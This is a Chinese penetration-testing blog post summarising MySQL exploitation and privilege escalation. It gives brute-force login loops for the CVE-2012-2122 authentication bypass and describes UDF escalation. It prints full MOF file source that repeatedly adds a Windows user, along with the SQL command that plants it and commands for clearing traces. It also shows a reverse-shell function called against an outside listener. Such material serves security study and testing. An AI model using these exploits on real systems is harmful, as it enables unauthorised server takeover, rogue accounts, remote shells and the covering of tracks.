mysql数据库漏洞利用及提权方式小结

2020-03-20 约 194 字 预计阅读 1 分钟

声明:本文 【mysql数据库漏洞利用及提权方式小结】 由作者 ghtwf01 于 2020-03-20 09:55:07 首发 先知社区 曾经 浏览数 217 次

感谢 ghtwf01 的辛苦付出!

CVE-2012-2122 Mysql身份认证漏洞

影响版本

Mysql5.5.24之前
MariaDB也差不多这个版本之前

漏洞原理

只要知道用户名,不断尝试就能够直接登入SQL数据库,按照公告说法大约256次就能够蒙对一次

漏洞复现

msf利用


hash解密

得到密码即可登录

python exp

#!/usr/bin/python
import subprocess

while 1:
        subprocess.Popen("mysql -u root -p -h 192.168.0.16 --password=test", shell=True).wait()

shell exp

for i in `seq 1 1000`; do mysql -u root -p -h 192.168.0.16 --password=bad 2>/dev/null; done

Mysql UDF提权

如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录

利用sqlmap进行UDF提权

利用msf进行UDF提权

使用mysql_udf_payload模块
适应于5.5.9以下,我这边的mysql版本号为5.5.53,已经超出了版本限制,所以不能提权

手工UDF提权

这里上传使用暗月的木马

这作者牛逼牛逼
登录进去,它会自动判断mysql版本决定出导出dll文件位置

然后导出udf,发现没有plugin这个目录

于是我们创建后就能成功导出

但是一直找不到文件。。,
最后使用其它的udf提权文件发现可以,原来是这个udf文件问题,这下便能执行命令

添加管理员,开启3389等。。这里就略过
既然知道了mysql账号密码当然也可以直接连接上去,然后上传文件,执行命令

Mysql MOF提权

直接上传文件MOF提权

直接上传mof.php文件登录后执行任意命令

利用msf进行MOF提权

使用mysql_mof模块,有的版本不能成功,比如我现在这个phpstudy搭建的5.5.53

上传nullevt.mof文件进行MOF提权

nullevt.mof文件源码

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user ghtwf011 ghtwf01 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

他会每五秒创建一个账户ghtwf011,里面命令可以自定义
使用sql语句将文件导入到c:/windows/system32/wbem/mof/

select load_file("C:/phpstudy/WWW/nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

注意这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据

成功生成了ghtwf011账户

因为每五秒都会生成账户,痕迹清理的时候使用如下办法即可

net stop winmgmt
net user ghtwf011 /delete
切换到c:/windows/system32/wbem后del repository
net start winmgmt

Mysql反弹端口提权

原理就是声明一个backdoor函数
exp如下,exp太长了文章发不出来。。我附件出来吧

第二条定义的@audf.dll内容的16进制
依次执行命令
kali使用nc监听,这边执行select backshell("192.168.0.12",4444);


成功提权拿到shell

参考链接

https://www.freebuf.com/vuls/3815.html
https://xz.aliyun.com/t/2719#toc-14

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now